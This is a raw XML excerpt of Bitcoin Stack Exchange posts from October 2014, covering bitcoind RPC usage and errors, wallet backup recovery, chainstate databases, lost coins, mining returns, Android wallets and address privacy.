  <row Id="30848" PostTypeId="1" CreationDate="2014-10-06T09:23:39.913" Score="1" ViewCount="946" Body="&lt;p&gt;When I run&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind getaccountaddress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;getaccountaddress \&quot;account\&quot;\n\nReturns the current Bitcoin address for receiving payments to this account.\n\nArguments:\n1. \&quot;account\&quot;       (string, required) The account name for the address. It ca     n also be set to the empty string \&quot;\&quot; to represent the default account. The account does not need to exist, it will be created and a new address created  if there is no account by the given name.\n\nResult:\n\&quot;bitcoinaddress\&quot;   (s     tring) The account bitcoin address\n\nExamples:\n&amp;gt; bitcoin-cli getaccountaddress \n&amp;gt; bitcoin-cli getaccountaddress \&quot;\&quot;\n&amp;gt; bitcoin-cli getaccountaddress \&quot;myaccount\&quot;\n&amp;gt; curl --user myusername --data-binary '{\&quot;jsonrpc\&quot;: \&quot;1.0\&quot;, \     &quot;id\&quot;:\&quot;curltest\&quot;, \&quot;method\&quot;: \&quot;getaccountaddress\&quot;, \&quot;params\&quot;: [\&quot;myaccount\&quot;] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/\n&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19604" LastActivityDate="2017-02-19T14:44:16.740" Title="Running bitcoind getaccountaddress" Tags="|bitcoind|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30849" PostTypeId="2" ParentId="30846" CreationDate="2014-10-06T10:20:07.420" Score="4" Body="&lt;p&gt;I think this was &quot;Bitcoin Sell Wall of Death&quot; at Bitstamp. Somebody sold 31 000 BTC at 300 USD. The wall was eaten over Sunday-Monday night.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cryptocoinsnews.com/bitcoin-sell-wall-death-chomped/&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptocoinsnews.com/bitcoin-sell-wall-death-chomped/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-10-06T10:20:07.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30850" PostTypeId="2" ParentId="2564" CreationDate="2014-10-06T10:40:34.640" Score="1" Body="&lt;p&gt;For Javascript, you can use &lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;nofollow&quot;&gt;http://bitcore.io/&lt;/a&gt; library. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitpay/bitcore/blob/master/examples/browser/example.html&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/bitcore/blob/master/examples/browser/example.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18939" LastActivityDate="2014-10-06T10:40:34.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30851" PostTypeId="2" ParentId="30848" CreationDate="2014-10-06T13:27:05.117" Score="3" Body="&lt;p&gt;The getaccountadress command needs an argument: a string giving  the name of the account with which you want the new address to be associated.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-10-06T13:27:05.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30852" PostTypeId="1" CreationDate="2014-10-06T14:31:58.850" Score="1" ViewCount="430" Body="&lt;p&gt;1) My laptop with Armory and bitcoin has been stolen.  However, I have a Paper Backup - which gives:  Wallet Version / Wallet ID / Wallet Name / Backup Type / Root Key (72 letters) - but NO &quot;Chain Code&quot; nor &quot;Private Key&quot;.&#xA;2) When I try and sweep the lost wallet into Armory on another computer it asks for the &quot;Private Key&quot; - which, as I indicate above, is not given in the Paper Backup.  I have tried inserting the 72 Root Key letters but this does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should be most grateful if you could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks, in anticipation&#xA;Duncan Black&lt;/p&gt;&#xA;" OwnerUserId="6542" LastActivityDate="2014-10-06T14:31:58.850" Title="How do I obtain the &quot;Private Key&quot; from my Armory Paper Backup" Tags="|private-key|armory|paper-wallet|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30853" PostTypeId="2" ParentId="30844" CreationDate="2014-10-06T14:35:29.367" Score="0" Body="&lt;p&gt;Not sure on this, but you might be able to use the importprivkey RPC call. What I would try is importing one of them with rescan=false and then import another with rescan=true. The rescan=true causes it to go through the whole blockchain and look for any places that the associated address to that private key. After importing two private keys, the first without a rescan and the second with a rescan, then look to see if rescanning on the second private key got you all the transactions for the first private key that you entered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if that works, you could write a command line script to execute that RPC call with each line of the file as the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a high level description of what I would try. If you need more help on the importprivkey, open the Bitcoin-QT GUI, go to Help &gt;&gt; Debug Window &gt;&gt; Console and type &quot;help importprivkey&quot;. If you need help writing that script, you'll probably have to do some googling around to learn about your OS-dependent scripting language. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-06T14:35:29.367" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30854" PostTypeId="1" CreationDate="2014-10-06T14:51:21.197" Score="4" ViewCount="2361" Body="&lt;p&gt;1) What is the format of the LevelDB databases stored in the database directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are some custom blockchain parsing libraries, such as &lt;a href=&quot;https://code.google.com/p/blockchain/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;, but I'm wondering if I can just do a read of the chainstate database to get some basic information about the UTXO set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there some sort of a LevelDB database explorer GUI that I can use to see what's in this database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Could I have a second program that just read from this database? Would it be safe or would I mess up the database if I tried this?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2023-01-22T23:49:33.490" Title="How can I read chainstate database?" Tags="|database|utxo|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30855" PostTypeId="1" CreationDate="2014-10-06T16:14:22.077" Score="1" ViewCount="520" Body="&lt;p&gt;I have a problem trying to make a transaction using bitcoind/bitcoin-cli in regtest mode (I do not know if it works in other modes).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest createrawtransaction '[{&quot;txid&quot; : &quot;e5db3c4fd05d1b8f979de45aca1ebb78b4bd356920cc07b9f374d8c9838d4b5a&quot;,&quot;vout&quot;:0}]' '{&quot;misCfm4sZJDsU3uYHp9NrUZjH3y5rgHrJx&quot;:5}'&#xA;-&amp;gt; 01000000015a4b8d83c9d874f3b907cc206935bdb478bb1eca5ae49d978f1b5dd04f3cdbe50000000000ffffffff010065cd1d000000001976a91424bcb21358f61d207207c1cb01921ab602948b9488ac00000000&#xA;&#xA;bitcoin-cli -regtest signrawtransaction 01000000015a4b8d83c9d874f3b907cc206935bdb478bb1eca5ae49d978f1b5dd04f3cdbe50000000000ffffffff010065cd1d000000001976a91424bcb21358f61d207207c1cb01921ab602948b9488ac00000000&#xA;-&amp;gt; {&#xA;&quot;hex&quot; : &quot;01000000015a4b8d83c9d874f3b907cc206935bdb478bb1eca5ae49d978f1b5dd04f3cdbe5000000006b483045022100c4c38395683460872f35971fb808a3a28f4d0e16793739760265af6339078a5a02201e5b960e3a97102797282ddb421edca84869ad296da145e55e00dcae747c7c4701210227b858d4f7f75e26ce370e3c0b862e4b9518da6f9cc6d4012008d9b829db9003ffffffff010065cd1d000000001976a91424bcb21358f61d207207c1cb01921ab602948b9488ac00000000&quot;,&#xA;**&quot;complete&quot; : true**&#xA;}&#xA;&#xA;bitcoin-cli -regtest sendrawtransaction 01000000015a4b8d83c9d874f3b907cc206935bdb478bb1eca5ae49d978f1b5dd04f3cdbe5000000006b483045022100c4c38395683460872f35971fb808a3a28f4d0e16793739760265af6339078a5a02201e5b960e3a97102797282ddb421edca84869ad296da145e55e00dcae747c7c4701210227b858d4f7f75e26ce370e3c0b862e4b9518da6f9cc6d4012008d9b829db9003ffffffff010065cd1d000000001976a91424bcb21358f61d207207c1cb01921ab602948b9488ac00000000&#xA;-&amp;gt; **error: {&quot;code&quot;:-25,&quot;message&quot;:&quot;&quot;}**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have had a look at the bitcoind source code. From &lt;em&gt;rpcrawtransaction.cpp&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!AcceptToMemoryPool(mempool, state, tx, false, NULL, !fOverrideFees)) {&#xA;        if(state.IsInvalid())&#xA;            throw JSONRPCError(RPC_TRANSACTION_REJECTED, strprintf(&quot;%i: %s&quot;, state.GetRejectCode(), state.GetRejectReason()));&#xA;        else&#xA;            throw JSONRPCError(RPC_TRANSACTION_ERROR, state.GetRejectReason());&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the &lt;em&gt;state.IsInvalid()&lt;/em&gt; method returns &lt;strong&gt;false&lt;/strong&gt; but the &lt;em&gt;state.getRejectedReason()&lt;/em&gt; returns &lt;strong&gt;empty string&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More in depth, it seems to be that such problems may arise if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The tx is already in the memory pool (mah)&lt;/li&gt;&#xA;&lt;li&gt;Disable replacement feature for now (boh)&lt;/li&gt;&#xA;&lt;li&gt;I have already the coins&lt;/li&gt;&#xA;&lt;li&gt;Some inputs do not exist&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am changing the source code to log the reason of my error. Meanwhile, any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19593" LastEditorUserId="2306" LastEditDate="2015-01-13T23:57:40.830" LastActivityDate="2015-01-13T23:57:40.830" Title="Bitcoind transactions in regtest mode always fail with -25 error" Tags="|bitcoind|rpc-error-25|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30856" PostTypeId="2" ParentId="30855" CreationDate="2014-10-06T17:27:02.600" Score="3" Body="&lt;p&gt;I have found the solution: the problem was that I was generating an insane fee by specifying an amount which was too small compared to the inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have discovered it by compiling the last version and not using the precompiled package, which seems to be older...&lt;/p&gt;&#xA;" OwnerUserId="19593" LastActivityDate="2014-10-06T17:27:02.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30857" PostTypeId="2" ParentId="12589" CreationDate="2014-10-06T21:17:29.440" Score="1" Body="&lt;p&gt;Here's an example of an IPN that works with the Blockchain API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/damonp/simplebtcpay/blob/master/www/callback.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/damonp/simplebtcpay/blob/master/www/callback.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19606" LastActivityDate="2014-10-06T21:17:29.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30858" PostTypeId="2" ParentId="24413" CreationDate="2014-10-06T21:22:19.250" Score="1" Body="&lt;p&gt;Can't see what would be different from a QR scan.  If the correct BTC address is getting paid, it shouldn't matter if the address was copied, QR'd or hand-pecked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an example of the callback from Blockchain's Receive API here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/damonp/simplebtcpay/blob/master/www/callback.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/damonp/simplebtcpay/blob/master/www/callback.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19606" LastActivityDate="2014-10-06T21:22:19.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30859" PostTypeId="2" ParentId="30808" CreationDate="2014-10-06T21:43:34.327" Score="0" Body="&lt;p&gt;Whatever the answer is today, it probably won't matter in the not-too-distant future.  The blockchain is a public and permanent record of everyone's transactions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the fact that one would have to be 100% anonymous for each and every transaction, 100% of the time to remain anonymous (whatever that solution is)... There's that permanent public record of every one of your transactions.  If somebody wants to they will eventually connect the dots from enough public and private databases.  Not to mention quantum computing or other future advancements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were a tax collector and wanted to prevent cheating, I would create a foolproof system to maintain a permanent record of every transaction.  Then we could make it easy, troll the blockchain and submit monthly tax invoices to my minions.  Don't pay it?  Your transactions will not confirm. Can't spend. Kinda hard to refute then.&lt;/p&gt;&#xA;" OwnerUserId="19606" LastActivityDate="2014-10-06T21:43:34.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30860" PostTypeId="2" ParentId="30833" CreationDate="2014-10-06T22:47:48.047" Score="2" Body="&lt;p&gt;The first one is correct.&lt;br&gt;&#xA;&lt;a href=&quot;https://blockchain.info/tobtc?api_code=000my0-api00-code-0000-000000000&amp;amp;currency=USD&amp;amp;value=1&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tobtc?api_code=000my0-api00-code-0000-000000000&amp;amp;currency=USD&amp;amp;value=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the particular call you are using (/tobtc) is public and thus needs no api_code attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tobtc?currency=USD&amp;amp;value=1&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tobtc?currency=USD&amp;amp;value=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19606" LastEditorUserId="19606" LastEditDate="2014-10-10T13:16:45.000" LastActivityDate="2014-10-10T13:16:45.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30861" PostTypeId="2" ParentId="30823" CreationDate="2014-10-06T22:54:40.147" Score="1" Body="&lt;p&gt;It looks like they don't support wallet features, only querying the blockchain for addresses, balances and transactions.  From the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Get Bitcoin Address&#xA;GET /addresses/{address}&#xA;Returns basic balance details for one or more Bitcoin addresses.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19606" LastActivityDate="2014-10-06T22:54:40.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30862" PostTypeId="1" AcceptedAnswerId="30865" CreationDate="2014-10-06T23:57:04.113" Score="3" ViewCount="2602" Body="&lt;p&gt;As the title of this question states, how much bitcoin is 'lost' (the private keys are not stored by any individual, and so will theoretically never be spent again)? I'd be looking for a percentage per year, ideally. Are there any stats on this anywhere? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it matter that Bitcoin is a deflationary currency, since bitcoins can be lost but cannot created again? It seems like this might encourage hoarding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it vary much from other coins? Is if very different from the amount of fiat currency lost or destroyed unintentionally?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-07T01:20:16.893" Title="How much bitcoin is 'lost', on average?" Tags="|lost-bitcoins|" AnswerCount="2" CommentCount="1" ClosedDate="2014-10-07T19:55:13.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="30863" PostTypeId="2" ParentId="30808" CreationDate="2014-10-07T00:52:36.647" Score="0" Body="&lt;p&gt;I'll fill in the technical aspects where I can later today, but in principle what's happening is a private key is being altered in such a way so that HD public keys can be created and traced up the family tree, that we both know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's a few thing to consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can a pubkey be isolated as being &lt;em&gt;your&lt;/em&gt; key? Most likely not, but assuming so, it's still only the hash160 shared publicly. What's to say you haven't changed wallet seeds, for example?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming 1 to be true, reversing the SHA256 AND ripemd160 for your public key x/y coordinates is ~impossible ie &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pubkey &amp;lt;==A==&gt; hash &amp;lt;=====B===== 0x04 X + Y&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      A = base58,     B = SHA256/RIPEMD160&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The only probably way a link between the public key and the private key can be found is by having at minimum the private key, and ideally for an attacker, a set of privatekeys&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-07T00:52:36.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30864" PostTypeId="2" ParentId="30862" CreationDate="2014-10-07T01:03:59.773" Score="7" Body="&lt;p&gt;You might want to check out &lt;a href=&quot;https://plus.google.com/+PieterWuille/posts/R9dpgAnpVZY&quot; rel=&quot;nofollow noreferrer&quot;&gt;this great commen&lt;/a&gt;t by &lt;a href=&quot;https://bitcoin.stackexchange.com/users/208/pieter-wuille&quot;&gt;Pieter Wuille&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There will never be more than 20999839.77085749 BTC.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Reasons for this number being lower than the often-cited &quot;21 million&quot;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;The subsidy scheme (50 BTC per block, halves every 210000 blocks) is rounded down to satoshi's (0.00000001 BTC), which results in slightly&#xA;  less already (20999999.9769 to be precise).&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Due to an obscure rule in the original software (which is hard to change now), the 50 BTC generated in the Genesis block are actually&#xA;  unspendable, so only 20999949.9769 are left.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;There have been two occurrences (blocks #91842 and #91880) of duplicate coinbases, where the coinbase transaction of a block had the&#xA;  same hash as the coinbase of an earlier block, causes the generated&#xA;  coins to be &quot;overwritten&quot; in the database. This was made impossible&#xA;  later using BIP30 and BIP34, but the coins of those blocks are&#xA;  permanently lost (two times 50 BTC).&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Some times, miners have not claimed all fees/subsidy they could in a block, for example block #124724 only claimed 49.99999999 BTC subsidy&#xA;  instead of 50.01.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Soon, with the introduction of provably-unspendable outputs (OP_RETURN), some will not be considered part of the set of spendable&#xA;  coins anymore (a total of 0.00835434 BTC currently).&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Similar topics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13708/how-many-bitcoins-are-missing&quot;&gt;How Many Bitcoins Are Missing?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13600/bitcoin-disappearence-rate&quot;&gt;Bitcoin disappearence rate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/484/why-doesnt-bitcoin-return-lost-coins-back-into-the-block-reward&quot;&gt;Why doesn&amp;#39;t Bitcoin return lost coins back into the block reward?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1638/what-could-be-the-consequences-of-many-bitcoins-being-lost-out-of-circulation-if&quot;&gt;What could be the consequences of many bitcoins being lost out of circulation if people lose their wallets?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=109117.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=109117.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-07T01:03:59.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30865" PostTypeId="2" ParentId="30862" CreationDate="2014-10-07T01:20:16.893" Score="0" Body="&lt;p&gt;I have found that this question is actually a duplicate. To see the first, go to: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13600/bitcoin-disappearence-rate&quot;&gt;Bitcoin disappearence rate&lt;/a&gt;. Essentially, there is not a good way to be able to determine this easily, and it sounds like no one has any readily available figures on the subject.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-10-07T01:20:16.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30866" PostTypeId="1" AcceptedAnswerId="30868" CreationDate="2014-10-07T12:32:40.263" Score="2" ViewCount="868" Body="&lt;p&gt;I'm writing a Stellar application. I'm looking to use the API provided by stellard without running a copy of it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a public API server for Stellar?&lt;/p&gt;&#xA;" OwnerUserId="19610" LastEditorUserId="5406" LastEditDate="2015-05-04T09:39:03.307" LastActivityDate="2018-11-29T14:51:52.727" Title="Is there a public API server for Stellar?" Tags="|stellar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30867" PostTypeId="2" ParentId="25499" CreationDate="2014-10-07T12:48:29.533" Score="1" Body="&lt;p&gt;for small amounts 6 confirmations are overkill, you could just listen for the payment to be relayed by some bitcoin nodes which happens in seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your question, clone bitcoinj and look at the examples (more specifically the 'Kit' example). Use that as a basis and then read the chapter on 'Watching Wallets' in the docs:&#xA;&lt;a href=&quot;https://bitcoinj.github.io/working-with-the-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinj.github.io/working-with-the-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can specify a listener which is called when there's activity on your address/wallet.&lt;/p&gt;&#xA;" OwnerUserId="11013" LastActivityDate="2014-10-07T12:48:29.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30868" PostTypeId="2" ParentId="30866" CreationDate="2014-10-07T16:01:41.080" Score="2" Body="&lt;p&gt;Yep:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.stellar.org/api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.stellar.org/api/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Stellar Foundation runs two instances of stellard you can use if you&#xA;don't want to run your own.&lt;/p&gt;&#xA;&lt;p&gt;network   address           RPC Port  Websocket Port&lt;br /&gt;&#xA;test          test.stellar.org 9002          9001&lt;br /&gt;&#xA;live           live.stellar.org 9002          9001&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-10-07T16:01:41.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30869" PostTypeId="2" ParentId="818" CreationDate="2014-10-07T22:18:26.033" Score="2" Body="&lt;p&gt;There is also this &lt;a href=&quot;http://codecanyon.net/item/bitcoin-for-opencart/8927110&quot; rel=&quot;nofollow&quot;&gt;Bitcoin for Opencart&lt;/a&gt; module; I have been using it and it works very great as it also protect you against double spending and is configurable.&lt;/p&gt;&#xA;" OwnerUserId="3992" LastActivityDate="2014-10-07T22:18:26.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30871" PostTypeId="1" CreationDate="2014-10-08T04:48:45.690" Score="2" ViewCount="3745" Body="&lt;p&gt;I read &lt;a href=&quot;http://cryptomining-blog.com/2940-checking-out-bitcoin-cloud-services/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We have paid 0.034 BTC for the 10 GH/s ... Yesterday we have received our first daily payout and it was exactly 0.00041279 BTC ...   Doing a quick calculation has shown that if the Bitcoin network difficulty remains the same and the daily payout is also the same as the one we got the first day we are going to need a little over 82 days to get back what we have spent for the mining contract. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case BTC per GH/s is 0.00041279/10 BTC/(GH/s). All of this is in one day, but for simplicity I removed day from the units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will buying more GH/s increase BTC per GH/s (in one day)? Since there is more power solving the problem, and there would be more probability to solve the problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I calculate decrease of BTC/day vs time with a fixed hashing speed?&lt;/p&gt;&#xA;" OwnerUserId="18846" LastEditorUserId="5406" LastEditDate="2016-04-25T15:42:28.917" LastActivityDate="2016-04-25T15:42:28.917" Title="Will more hashes per second increase bitcoins per hash per second?" Tags="|mining-profitability|hashpower|contracts|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30872" PostTypeId="2" ParentId="30871" CreationDate="2014-10-08T05:25:08.017" Score="1" Body="&lt;p&gt;The expected number of bitcoins per hash depends only on the network difficulty and block reward, not the speed at which you execute the hashes.  Every hash computed has exactly the same probability of successfully mining a block (or share, in the case of pool mining), and this probability is a function of the difficulty only.  More powerful hardware does more hashes per second, so the expected bitcoins earned per second increases, but bitcoins per hash does not change.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="2306" LastEditDate="2014-10-08T05:31:45.473" LastActivityDate="2014-10-08T05:31:45.473" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30873" PostTypeId="1" AcceptedAnswerId="30874" CreationDate="2014-10-08T06:04:40.597" Score="3" ViewCount="280" Body="&lt;p&gt;I'm new to cryptocurrencies, and I noticed that both Litecoin and Dogecoin have official wallet apps for Android. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Bitcoin similarly have an official Android wallet app? If not, is there a community standard or some widely used app?&lt;/p&gt;&#xA;" OwnerUserId="19624" LastEditorUserId="15412" LastEditDate="2014-10-12T20:35:04.960" LastActivityDate="2014-10-12T20:35:04.960" Title="Official or default Bitcoin wallet for Android" Tags="|wallet|client|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30874" PostTypeId="2" ParentId="30873" CreationDate="2014-10-08T06:57:41.143" Score="3" Body="&lt;p&gt;I don't think the Bitcoin Foundation or any similar authority has designated an official or preferred Android app, not in the same way that Bitcoin Core is the &quot;official&quot; desktop client because it is the reference implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the most popular one seems to be &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet by Andreas Schildbach&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-10-08T06:57:41.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30875" PostTypeId="2" ParentId="30808" CreationDate="2014-10-08T07:51:15.757" Score="1" Body="&lt;p&gt;Privacy is one of the most common myths about Bitcoin. By default, it does not provide anonymity, for many reasons, including the ones you have mentioned. Applying graph theory on the transactions can reveal a lot of information, connect seemingly independent addresses and thus compromise them. Bitcoin was never meant to provide anonymity out-of-the-box, so it's hard to blame it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does not mean the anonymity is impossible to achieve. There are many 3rd party services specializing at this, mixing your coins with other people's coins, for example &lt;a href=&quot;https://bitmixer.io/&quot; rel=&quot;nofollow&quot;&gt;bitmixer.io&lt;/a&gt;. You can find more such services and use them in chain for even better anonymity, just search the Internet for &lt;strong&gt;bitcoin mixer&lt;/strong&gt; or &lt;strong&gt;bitcoin laundry&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the problem of connecting addresses to the same owner is not specific to HD wallets, but concerns also simple wallets that generate all the addresses randomly. For the outside observer, there's no way to tell if you're using one or another, but this information is not necessary to connect the addresses once you've made a transaction combining their inputs.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2014-10-08T07:56:28.860" LastActivityDate="2014-10-08T07:56:28.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
